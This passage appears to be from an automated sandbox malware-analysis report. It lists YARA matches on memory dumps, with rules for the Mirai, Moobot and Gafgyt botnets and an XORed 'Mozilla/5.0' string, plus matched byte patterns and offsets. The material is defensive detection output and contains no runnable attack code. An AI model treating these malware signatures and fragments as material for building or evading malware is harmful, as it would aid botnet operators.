2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6923.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6498.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6615.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6952.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6952.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6952.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6952.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6952.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6952.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7150.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7165.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7165.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7165.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6776.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6776.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6776.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6776.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6776.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6776.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6353.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6872.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6288.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6288.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6288.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6822.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6822.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6822.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6822.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6822.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6822.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7165.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6288.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6288.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6288.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6353.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6353.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6353.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6353.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6353.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
